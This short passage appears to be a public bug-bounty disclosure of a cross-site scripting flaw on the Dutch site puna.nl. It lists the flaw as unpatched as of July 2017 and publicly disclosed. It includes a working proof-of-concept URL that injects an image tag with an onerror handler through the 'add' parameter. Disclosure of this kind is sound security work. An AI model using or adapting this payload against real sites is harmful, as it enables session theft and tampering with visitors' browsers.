puna.nl XSS vulnerability

Vulnerable URL: http://www.puna.nl/ytxtra.php?add=pIHR7rUeGTc%22%3E%3C/iframe%3E%3Cimg%20src=null%20onerror=prompt/OPENBUGBOUNTY/%20foobar=%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...